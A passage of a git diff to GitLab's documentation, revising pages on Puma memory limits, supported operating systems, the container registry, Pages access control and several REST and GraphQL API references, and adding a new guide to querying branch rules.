- puma['per_worker_max_memory_mb'] = 1024 + puma['per_worker_max_memory_mb'] = 1024 # 1GB ``` 1. Reconfigure GitLab: @@ -40,48 +38,40 @@ To change the memory limit setting: sudo gitlab-ctl reconfigure ``` -When workers are killed and replaced, capacity to run GitLab is reduced, -and CPU is consumed. Set `per_worker_max_memory_mb` to a higher value if the worker killer -is replacing workers too often. +When workers are restarted, capacity to run GitLab is reduced for a short +period of time. Set `per_worker_max_memory_mb` to a higher value if workers are replaced too often. Worker count is calculated based on CPU cores. A small GitLab deployment with 4-8 workers may experience performance issues if workers are being restarted too often (once or more per minute). -A higher value of `1200` or more would be beneficial if the server has free memory. +A higher value of `1200` or more could be beneficial if the server has free memory. -### Monitor worker memory +### Monitor worker restarts -The worker killer checks memory every 20 seconds. +GitLab emits log events if workers are restarted due to high memory use. -To monitor the worker killer, use [the Puma log](../logs/index.md#puma_stdoutlog) `/var/log/gitlab/puma/puma_stdout.log`. -For example: +The following is an example of one of these log events in `/var/log/gitlab/gitlab-rails/application_json.log`: -```plaintext -PumaWorkerKiller: Out of memory. 4 workers consuming total: 4871.23828125 MB -out of max: 4798.08 MB. Sending TERM to pid 26668 consuming 1001.00390625 MB. +```json +{ + "severity": "WARN", + "time": "2023-01-04T09:45:16.173Z", + "correlation_id": null, + "pid": 2725, + "worker_id": "puma_0", + "memwd_handler_class": "Gitlab::Memory::Watchdog::PumaHandler", + "memwd_sleep_time_s": 5, + "memwd_rss_bytes": 1077682176, + "memwd_max_rss_bytes": 629145600, + "memwd_max_strikes": 5, + "memwd_cur_strikes": 6, + "message": "rss memory limit exceeded" +} ``` -From this output: - -- The formula that calculates the maximum memory value results in workers - being killed before they reach the `per_worker_max_memory_mb` value. -- In GitLab 13.4 and earlier, the default values for the formula were 550 MB for the primary - and 850 MB for each worker. -- In GitLab 13.5 and later, the values are primary: 800 MB, worker: 1024 MB. -- The threshold for workers to be killed is set at 98% of the limit: - - ```plaintext - 0.98 * ( 800 + ( worker_processes * 1024MB ) ) - ``` - -- In the log output above, `0.98 * ( 800 + ( 4 * 1024 ) )` returns the - `max: 4798.08 MB` value. - -Increasing the maximum to `1200`, for example, would set a `max: 5488 MB` value. - -Workers use additional memory on top of the shared memory. The amount of memory -depends on a site's use of GitLab. +`memwd_rss_bytes` is the actual amount of memory consumed, and `memwd_max_rss_bytes` is the +RSS limit set through `per_worker_max_memory_mb`. ## Change the worker timeout @@ -146,7 +136,7 @@ for details. When running Puma in single mode, some features are not supported: - [Phased restart](https://gitlab.com/gitlab-org/gitlab/-/issues/300665) -- [Puma Worker Killer](https://gitlab.com/gitlab-org/gitlab/-/issues/300664) +- [Memory killers](#reducing-memory-use) To learn more, visit [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303). diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md index efaf480c6df..f2143435755 100644 --- a/doc/administration/operations/rails_console.md +++ b/doc/administration/operations/rails_console.md @@ -31,6 +31,12 @@ Rails experience is useful but not required. sudo gitlab-rails console ``` +**For Docker installations** + +```shell +docker exec -it <container-id> gitlab-rails console +``` + **For installations from source** ```shell diff --git a/doc/administration/package_information/supported_os.md b/doc/administration/package_information/supported_os.md index fdbb17f3c71..9d1c8dcde5a 100644 --- a/doc/administration/package_information/supported_os.md +++ b/doc/administration/package_information/supported_os.md @@ -21,10 +21,11 @@ The following lists the currently supported OSs and their possible EOL dates. | CentOS 7 | GitLab CE / GitLab EE 7.10.0 | x86_64 | [CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | <https://wiki.centos.org/About/Product> | | Debian 10 | GitLab CE / GitLab EE 12.2.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2024 | <https://wiki.debian.org/LTS> | | Debian 11 | GitLab CE / GitLab EE 14.6.0 | amd64, arm64 | [Debian Install Documentation](https://about.gitlab.com/install/#debian) | 2026 | <https://wiki.debian.org/LTS> | -| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Nov 2022 | <https://en.opensuse.org/Lifetime> | +| OpenSUSE 15.3 | GitLab CE / GitLab EE 14.5.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2022 | <https://en.opensuse.org/Lifetime> | +| OpenSUSE 15.4 | GitLab CE / GitLab EE 15.7.0 | x86_64, aarch64 | [OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Nov 2023 | <https://en.opensuse.org/Lifetime> | | RHEL 8 | GitLab CE / GitLab EE 12.8.1 | x86_64, arm64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | May 2029 | [RHEL Details](https://access.redhat.com/support/policy/updates/errata/#Life_Cycle_Dates) | -| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Oct 2027 | <https://www.suse.com/lifecycle/> | -| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Dec 2024 | <https://www.suse.com/lifecycle/> | +| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Oct 2027 | <https://www.suse.com/lifecycle/> | +| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2024 | <https://www.suse.com/lifecycle/> | | Oracle Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | Jul 2024 | <https://www.oracle.com/a/ocom/docs/elsp-lifetime-069338.pdf> | | Scientific Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | <https://scientificlinux.org/downloads/sl-versions/sl7/> | | Ubuntu 18.04 | GitLab CE / GitLab EE 10.7.0 | amd64 | [Ubuntu Install Documentation](https://about.gitlab.com/install/#ubuntu) | April 2023 | <https://wiki.ubuntu.com/Releases> | @@ -40,6 +41,9 @@ CentOS 8 was EOL on December 31, 2021. In GitLab 14.5 and later, We officially support all distributions that are binary compatible with Red Hat Enterprise Linux. This gives users a path forward for their CentOS 8 builds at its end of life. +NOTE: +The [CentOS major version and a minor version](https://en.wikipedia.org/wiki/CentOS#CentOS_releases) up to CentOS8 ([when CentOS Stream](https://en.wikipedia.org/wiki/CentOS#CentOS_Stream) was released) correspond to the set of major version and update versions of RHEL. + ## Update GitLab package sources after upgrading the OS After upgrading the Operating System (OS) as per its own documentation, diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index d76c728fb78..6446252e143 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -590,6 +590,13 @@ you can pull from the Container Registry, but you cannot push. #### Moving to Azure Object Storage +> The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0. + +<!--- start_remove The following content will be removed on remove_date: '2023-10-22' --> +WARNING: +The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0. The storage driver will use `/` as the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration now to avoid any disruptions. For more information, see the [Container Registry configuration](https://gitlab.com/gitlab-org/container-registry/-/tree/master/docs-gitlab#azure-storage-driver) documentation. +<!--- end_remove --> + When moving from an existing file system or another object storage provider to Azure Object Storage, you must configure the registry to use the standard root directory. This configuration is done by setting [`trimlegacyrootprefix: true]`](https://gitlab.com/gitlab-org/container-registry/-/blob/a3f64464c3ec1c5a599c0a2daa99ebcbc0100b9a/docs-gitlab/README.md#azure-storage-driver) in the Azure storage driver section of the registry configuration. Without this configuration, the Azure storage driver uses `//` instead of `/` as the first section of the root path, rendering the migrated images inaccessible. @@ -758,6 +765,8 @@ project, you can [disable it from your project's settings](../../user/project/se ## Use an external container registry with GitLab as an auth endpoint +> Support for external container registries in GitLab is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 15.8 and will be removed in GitLab 16.0. + If you use an external container registry, some features associated with the container registry may be unavailable or have [inherent risks](../../user/packages/container_registry/reduce_container_registry_storage.md#use-with-external-container-registries). @@ -777,7 +786,7 @@ auth: Without these entries, the registry logins cannot authenticate with GitLab. GitLab also remains unaware of -[nested image names](../../user/packages/container_registry/index.md#image-naming-convention) +[nested image names](../../user/packages/container_registry/index.md#naming-convention-for-your-container-images) under the project hierarchy, like `registry.example.com/group/project/image-name:tag` or `registry.example.com/group/project/my/image-name:tag`, and only recognizes diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 2a28df96ef4..58003758c8a 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -185,7 +185,7 @@ you must also add the full paths as shown below: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages -[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) to use the HTTPS protocol. WARNING: @@ -384,7 +384,7 @@ then you need to also add the full paths as shown below: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages -[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) to use the HTTPS protocol. ### Custom domain verification @@ -485,7 +485,7 @@ this: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32095) in GitLab 12.7. You can enforce [Access Control](#access-control) for all GitLab Pages websites hosted -on your GitLab instance. By doing so, only logged-in users have access to them. +on your GitLab instance. By doing so, only authenticated users have access to them. This setting overrides Access Control set by users in individual projects. This can be helpful to restrict information published with Pages websites to the users @@ -1428,7 +1428,7 @@ Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab wi You may see this error if `pages_external_url` was updated at some point of time. Verify the following: -1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) is using the protocol (HTTP or HTTPS) that `pages_external_url` is configured to use. 1. The domain and path components of `Redirect URI` are valid: they should look like `projects.<pages_external_url>/auth`. diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index e122d49a963..db76d15ec58 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -445,7 +445,7 @@ Pages access control is disabled by default. To enable it: ``` 1. [Restart GitLab](../restart_gitlab.md#installations-from-source). -1. Create a new [system OAuth application](../../integration/oauth_provider.md#user-owned-applications). +1. Create a new [system OAuth application](../../integration/oauth_provider.md#create-a-user-owned-application). This should be called `GitLab Pages` and have a `Redirect URL` of `https://projects.example.io/auth`. It does not need to be a "trusted" application, but it does need the `api` scope. diff --git a/doc/administration/postgresql/multiple_databases.md b/doc/administration/postgresql/multiple_databases.md index ffccbf861e7..25f148dbe84 100644 --- a/doc/administration/postgresql/multiple_databases.md +++ b/doc/administration/postgresql/multiple_databases.md @@ -118,6 +118,7 @@ the other way around. sudo gitlab-ctl start postgresql sudo -u gitlab-psql /opt/gitlab/embedded/bin/psql -h /var/opt/gitlab/postgresql -d template1 -c "CREATE DATABASE gitlabhq_production_ci OWNER gitlab;" sudo gitlab-rake db:schema:load:ci + ``` 1. Lock writes for `ci` tables in `main` database, and the other way around: diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index 61f6137e1ed..2e6a88a77e2 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -15,6 +15,11 @@ Bear in mind that the syntax is very specific. Remove any spaces in the argument before/after the brackets. Also, some shells (for example, Zsh) can interpret the open/close brackets (`[]`) separately. You may want to either escape the brackets or use double quotes. +Prerequisite: + +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + ## Caveats If the GitHub [rate limit](https://docs.github.com/en/rest/rate-limit) is reached while @@ -34,7 +39,7 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production In this case, `access_token` is your GitHub personal access token, `root` is your GitLab username, and `foo/bar` is the new GitLab namespace/project -created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. +created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. The importer creates any missing intermediate namespaces (groups) if they do not exist. ## Importing a single project diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md index 2ba19aa6f0a..2e56884e309 100644 --- a/doc/administration/redis/replication_and_failover.md +++ b/doc/administration/redis/replication_and_failover.md @@ -324,6 +324,14 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/). sudo touch /etc/gitlab/skip-auto-reconfigure ``` +1. Only the primary GitLab application server should handle migrations. To + prevent database migrations from running on upgrade, add the following + configuration to your `/etc/gitlab/gitlab.rb` file: + + ```ruby + gitlab_rails['auto_migrate'] = false + ``` + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes. diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index 88913eb1f7f..bb50f66aff0 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -1855,7 +1855,7 @@ Updates to example must be made at: # Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 4 - # Set number of Sidekiq threads per queue process to the recommend number of 20 + # Set number of Sidekiq threads per queue process to the recommended number of 20 sidekiq['max_concurrency'] = 20 # Monitoring @@ -1986,7 +1986,7 @@ On each node perform the following: {host: '10.6.0.53', port: 26379}, ] - ## Second cluster that will host the persistent queues, shared state, and actionable + ## Second cluster that will host the persistent queues, shared state, and actioncable gitlab_rails['redis_queues_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent' gitlab_rails['redis_shared_state_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent' gitlab_rails['redis_actioncable_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER>@gitlab-redis-persistent' diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md index 4bd03aeb8c8..613d161a64c 100644 --- a/doc/administration/snippets/index.md +++ b/doc/administration/snippets/index.md @@ -1,7 +1,7 @@ --- type: reference, howto stage: Create -group: Editor +group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 7c5feb24e15..0cd34ca16df 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -74,7 +74,7 @@ Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md ### Artifacts -Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-failed-artifacts). +Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-registry-records-of-blobs-that-failed-to-sync). ### Repository verification failures diff --git a/doc/api/appearance.md b/doc/api/appearance.md index 622239e7283..eb88ec5e1b3 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -29,8 +29,9 @@ Example response: ```json { "title": "GitLab Test Instance", - "short_title": "GitLab", + "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", "favicon": "/uploads/-/system/appearance/favicon/1/favicon.png", @@ -55,8 +56,9 @@ PUT /application/appearance | Attribute | Type | Required | Description | | --------------------------------- | ------- | -------- | ----------- | | `title` | string | no | Instance title on the sign in / sign up page -| `short_title` | string | no | Short title for progressive web app +| `pwa_short_name` | string | no | Optional, short name for Progressive Web App | `description` | string | no | Markdown text shown on the sign in / sign up page +| `pwa_icon` | mixed | no | Icon used for Progressive Web App. See [Change logo](#change-logo). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo) | `header_logo` | mixed | no | Instance image used for the main navigation bar | `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format @@ -77,8 +79,9 @@ Example response: ```json { "title": "GitLab Test Instance", - "short_title": "GitLab", + "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", "favicon": "/uploads/-/system/appearance/favicon/1/favicon.png", @@ -105,9 +108,10 @@ preceded by `@`. PUT /application/appearance ``` -| Attribute | Type | Required | Description | -| --------- | ------ | -------- | -------------- | -| `logo` | mixed | Yes | File to upload | +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | -------------- | +| `logo` | mixed | Yes | File to upload | +| `pwa_icon` | mixed | Yes | File to upload. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | Example request: @@ -123,4 +127,5 @@ Returned object: ```json { "logo":"/uploads/-/system/appearance/logo/1/logo.png" +} ``` diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md index a2e4d9f37f5..b94bee210e4 100644 --- a/doc/api/container_registry.md +++ b/doc/api/container_registry.md @@ -330,7 +330,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \ ``` This action doesn't delete blobs. To delete them and recycle disk space, -[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests). +[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection). ## Delete registry repository tags in bulk @@ -369,7 +369,7 @@ if successful, and performs the following operations: These operations are executed asynchronously and can take time to get executed. You can run this at most once an hour for a given container repository. This action doesn't delete blobs. To delete them and recycle disk space, -[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests). +[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection). WARNING: The number of tags deleted by this API is limited on GitLab.com diff --git a/doc/api/environments.md b/doc/api/environments.md index 89b4bb6a1de..2b67c59ae35 100644 --- a/doc/api/environments.md +++ b/doc/api/environments.md @@ -19,7 +19,7 @@ GET /projects/:id/environments | --------- | ------- | -------- |-------------------------------------------------------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | no | Return the environment with this name. Mutually exclusive with `search` | -| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name` | +| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name`. Must be at least 3 characters long. | | `states` | string | no | List all environments that match a specific state. Accepted values: `available`, `stopping`, or `stopped`. If no state value given, returns all environments. | ```shell @@ -412,3 +412,28 @@ Example response: "updated_at": "2019-05-27T18:55:13.252Z" } ``` + +## Stop stale environments + +Issue stop request to all environments that were last modified or deployed to before a specified date. Excludes protected environments. Returns `200` if stop request was successful and `400` if the before date is invalid. For details of exactly when the environment is stopped, see [Stop an environment](../ci/environments/index.md#stop-an-environment). + +```plaintext +POST /projects/:id/environments/stop_stale +``` + +| Attribute | Type | Required | Description | +|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `before` | date | yes | Stop environments that have been modified or deployed to before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Valid inputs are between 10 years ago and 1 week ago | + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/stop_stale?before=10%2F10%2F2021" +``` + +Example response: + +```json +{ + "message": "Successfully requested stop for all stale environments" +} +``` diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index 1aec1006610..4b385a35405 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -211,10 +211,12 @@ PUT /projects/:id/feature_flags/:feature_flag_name | `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). | | `strategies:id` | JSON | no | The feature flag strategy ID. | | `strategies:name` | JSON | no | The strategy name. | +| `strategies:_destroy` | boolean | no | Delete the strategy when true. | | `strategies:parameters` | JSON | no | The strategy parameters. | | `strategies:scopes` | JSON | no | The scopes for the strategy. | | `strategies:scopes:id` | JSON | no | The environment scope ID. | | `strategies:scopes:environment_scope` | string | no | The environment scope of the scope. | +| `strategies:scopes:_destroy` | boolean | no | Delete the scope when true. | ```shell curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" \ diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index 6b62e82f54d..5f9323016c0 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -198,22 +198,22 @@ _This can only be run against a primary Geo node._ PUT /geo_nodes/:id ``` -| Attribute | Type | Required | Description | -|-----------------------------|---------|-----------|---------------------------------------------------------------------------| -| `id` | integer | yes | The ID of the Geo node. | -| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. | -| `name` | string | yes | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. | -| `url` | string | yes | The user-facing URL of the Geo node. | -| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.| -| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. | -| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. | -| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. | -| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. | -| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. | -| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. | -| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. | -| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. | -| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. | +| Attribute | Type | Required | Description | +|-----------------------------|---------|---------|---------------------------------------------------------------------------| +| `id` | integer | yes | The ID of the Geo node. | +| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. | +| `name` | string | no | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. | +| `url` | string | no | The user-facing URL of the Geo node. | +| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.| +| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. | +| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. | +| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. | +| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. | +| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. | +| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. | +| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. | +| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. | +| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. | Example response: @@ -255,9 +255,6 @@ in GitLab 14.9. Removes the Geo node. -NOTE: -Only a Geo primary node accepts this request. - ```plaintext DELETE /geo_nodes/:id ``` diff --git a/doc/api/graphql/audit_report.md b/doc/api/graphql/audit_report.md index 5529f0b872a..bad6a7a1e83 100644 --- a/doc/api/graphql/audit_report.md +++ b/doc/api/graphql/audit_report.md @@ -111,7 +111,7 @@ a single integer. This GraphQL query returns the groups and projects that the user has been *explicitly* made a member of. Since the GraphiQL explorer uses the session token to authorize access to resources, -the output is limited to the projects and groups accessible to the currently signed-in user. +the output is limited to the projects and groups accessible to the currently authenticated user. If you've signed in as an instance administrator, you would have access to all records, regardless of ownership. diff --git a/doc/api/graphql/branch_rules.md b/doc/api/graphql/branch_rules.md new file mode 100644 index 00000000000..c38ebd673d0 --- /dev/null +++ b/doc/api/graphql/branch_rules.md @@ -0,0 +1,137 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# List branch rules for a project **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106954) in GitLab 15.8. + +This guide demonstrates how to use [GraphiQL explorer](getting_started.md#graphiql) +to query for branch rules in a given project. + +The [example query](#set-up-the-graphiql-explorer) looks for a project in a +GitLab instance either by its full path for example `gitlab-org/gitlab-docs`. +In the query we request all configured branch rules for a project. + +NOTE: +You can run the same query directly via a HTTP endpoint, using `cURL`. For more +information, see our guidance on getting started from the +[command line](getting_started.md#command-line). + +## Set up the GraphiQL explorer + +This procedure presents a substantive example that you can copy and paste into your own +instance of the [GraphiQL explorer](https://gitlab.com/-/graphql-explorer): + +1. Copy the following code excerpt: + + ```graphql + query { + project(fullPath: "gitlab-org/gitlab-docs") { + branchRules { + nodes { + name + isDefault + isProtected + matchingBranchesCount + createdAt + updatedAt + branchProtection { + allowForcePush + codeOwnerApprovalRequired + mergeAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + pushAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + unprotectAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + } + externalStatusChecks { + nodes { + id + name + externalUrl + } + } + approvalRules { + nodes { + id + name + type + approvalsRequired + eligibleApprovers { + nodes { + name + } + } + } + } + } + } + } + } + ``` + +1. Open the [GraphiQL explorer tool](https://gitlab.com/-/graphql-explorer). +1. Paste the `query` listed above into the left window of your GraphiQL explorer tool. +1. Select **Play** to get this result: + +  + +If no branch rules are displayed, it may be because: + +- No branch rules are configured. +- Your role doesn't have permission to view branch rules. Administrators have access to all records. + +## Run the query in the GDK + +Instead of requesting access, it may be easier for you to run the query in the +[GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit). + +1. Sign in as the default admin, `root`, with the credentials from + [the GDK documentation](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/gdk_commands.md#get-the-login-credentials). +1. Ensure you have some branch rules configured for the `flightjs/Flight` project. +1. Replace the full path in the query: + + ```graphql + query { + project(fullPath: "flightjs/Flight") { + ``` + +1. Visit the [GraphiQL explorer tool](http://gdk.test:3000/-/graphql-explorer) for your GDK instance. +1. Paste the `query` listed above into the left window of your GraphiQL explorer tool. +1. Select **Play** to view the result. + +For more information on each field, see the [GraphQL API Resources](reference/index.md). diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 1945f528d67..9f423d68d3b 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -110,7 +110,7 @@ which is an object identifier in the format of `"gid://gitlab/Issue/123"`. [GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are available for clients to query and their corresponding data types. -Example: Get only the names of all the projects the currently logged in user can +Example: Get only the names of all the projects the currently authenticated user can access (up to a limit) in the group `gitlab-org`. ```graphql @@ -172,7 +172,7 @@ More about queries: Authorization uses the same engine as the GitLab application (and GitLab.com). If you've signed in to GitLab and use GraphiQL, all queries are performed as -you, the signed in user. For more information, read the +you, the authenticated user. For more information, read the [GitLab API documentation](../index.md#authentication). ### Mutations diff --git a/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png Binary files differnew file mode 100644 index 00000000000..c407329c6bf --- /dev/null +++ b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 0ae6013df80..320e7cbcfc1 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -144,10 +144,10 @@ Query | Description `group` | Basic group information and epics. `user` | Information about a particular user. `namespace` | The namespace and the `projects` in it. -`currentUser` | Information about the signed-in user. +`currentUser` | Information about the authenticated user. `users` | Information about a collection of users. `metaData` | Metadata about GitLab and the GraphQL API. -`snippets` | Snippets visible to the signed-in user. +`snippets` | Snippets visible to the authenticated user. New associations and root level objects are regularly added. See the [GraphQL API 